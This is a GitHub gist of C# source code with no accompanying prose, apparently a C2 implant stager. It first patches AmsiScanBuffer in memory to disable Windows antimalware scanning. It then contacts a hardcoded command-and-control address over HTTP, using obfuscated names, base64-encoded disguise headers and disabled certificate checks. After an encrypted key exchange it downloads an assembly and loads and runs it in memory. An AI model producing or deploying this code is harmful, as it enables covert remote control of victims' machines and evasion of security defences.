Skip to content

Instantly share code, notes, and snippets.

@dtrizna
Created July 20, 2020 11:09
Show Gist options
  • Save dtrizna/37b64d57faf59a813e59ece50d984130 to your computer and use it in GitHub Desktop.
Save dtrizna/37b64d57faf59a813e59ece50d984130 to your computer and use it in GitHub Desktop.
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace Bypass
{
public class Amsi
{
//implement required kernel32.dll functions
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Patch()
{
//Get pointer for the amsi.dll
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer!");
return 1;
}
//Get pointer for the AmsiScanBuffer function
IntPtr AmsiScanBufrPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufrPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer!");
return 1;
}
/*
* Apply memory patching as described by Cyberark here:
* https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/
UIntPtr dwSize = (UIntPtr)4;
uint Zero = 0;
//Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40)
if (!VirtualProtect(AmsiScanBufrPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not modify AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0x31, 0xff, 0x90 }; //The new patch opcode
//Setting a pointer to the patch opcode array (unmanagedPointer)
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
//Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode
MoveMemory(AmsiScanBufrPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("Great success. AmsiScanBuffer patched! :)");
return 0;
}
}
}
namespace ZwMmSSgSHOo
{
public class ZwMmSSgSHOo
{
public ZwMmSSgSHOo()
{
MaHlaiVUQau();
}
[STAThread]
public static void Main(string[] args)
{
Bypass.Amsi.Patch();
new ZwMmSSgSHOo();
}
public static void Execute()
{
new ZwMmSSgSHOo();
}
public void MaHlaiVUQau()
{
try
{
List<string> SYavaOSkkjqs = @"http://192.168.56.110:80".Split(',').ToList();
string LjfSIGDFegj = @"";
List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2llcw==".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"<html>
<head>
<title>Hello World!</title>
</head>
<body>
<p>Hello World!</p>
// Hello World! {0}
</body>
</html>".Replace(Environment.NewLine, "\n");
bool valcert = bool.Parse(@"false");
bool valcertp = bool.Parse(@"false");
Random random = new Random();
string aGUID = @"4fb43e0a04";
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
byte[] SetupKeyBytes = Convert.FromBase64String(@"B/Qq6/APP9ntObOPRXXqJe6Sx+6Sm2fH6aqUZFZhZf4=");
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
Aes SetupAESKey = Aes.Create();
SetupAESKey.Mode = CipherMode.CBC;
SetupAESKey.Padding = PaddingMode.PKCS7;
SetupAESKey.Key = SetupKeyBytes;
SetupAESKey.GenerateIV();
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (valcertp && LjfSIGDFegj != "")
{
valid = cert.GetCertHashString() == LjfSIGDFegj;
}
if (valid && valcert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
string resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
CookieWebClient wc = null;
string zero_resp = "";
wc = new CookieWebClient();
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string SYavaOSkkjq = "";
foreach (string uri in SYavaOSkkjqs)
{
try
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); }
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
SYavaOSkkjq = uri;
}
catch
{
continue;
}
}
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
zero_resp = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", "");
string extracted = Parse(zero_resp, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
List<string> parsed = Parse(extracted, MessageFormat);
string iv64str = parsed[3];
string message64str = parsed[4];
string hash64str = parsed[5];
byte[] messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SetupAESKey.IV = Convert.FromBase64String(iv64str);
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
Aes SessionKey = Aes.Create();
SessionKey.Mode = CipherMode.CBC;
SessionKey.Padding = PaddingMode.PKCS7;
SessionKey.Key = FullyDecrypted;
SessionKey.GenerateIV();
hmac = new HMACSHA256(SessionKey.Key);
byte[] challenge1 = new byte[4];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(challenge1);
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
hash = hmac.ComputeHash(EncryptedChallenge1);
string one_body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(one_body));
string Stage1Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
Stage1Response = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", "");
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] challenge1Test = new byte[4];
byte[] challenge2 = new byte[4];
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
SessionKey.GenerateIV();
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
hash = hmac.ComputeHash(EncryptedChallenge2);
string ZmOHwLrmyeUBody = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
resp = MessageTransform.Transform(Encoding.UTF8.GetBytes(ZmOHwLrmyeUBody));
string ZmOHwLrmyeUResponse = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); }
ZmOHwLrmyeUResponse = wc.UploadString(SYavaOSkkjq + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, resp)).Replace("\"", "");
extracted = Parse(ZmOHwLrmyeUResponse, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly AQnchzOUzhN = Assembly.Load(DecryptedAssembly);
AQnchzOUzhN.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { SYavaOSkkjq, LjfSIGDFegj, GUID, SessionKey });
}
catch (Exception e) { Console.Error.WriteLine(e.Message); }
}
public class CookieWebClient : WebClient
{
public CookieContainer CookieContainer { get; private set; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
return matches;
}
public static class MessageTransform
{
public static string Transform(byte[] bytes)
{
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str)
{
return System.Convert.FromBase64String(str);
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment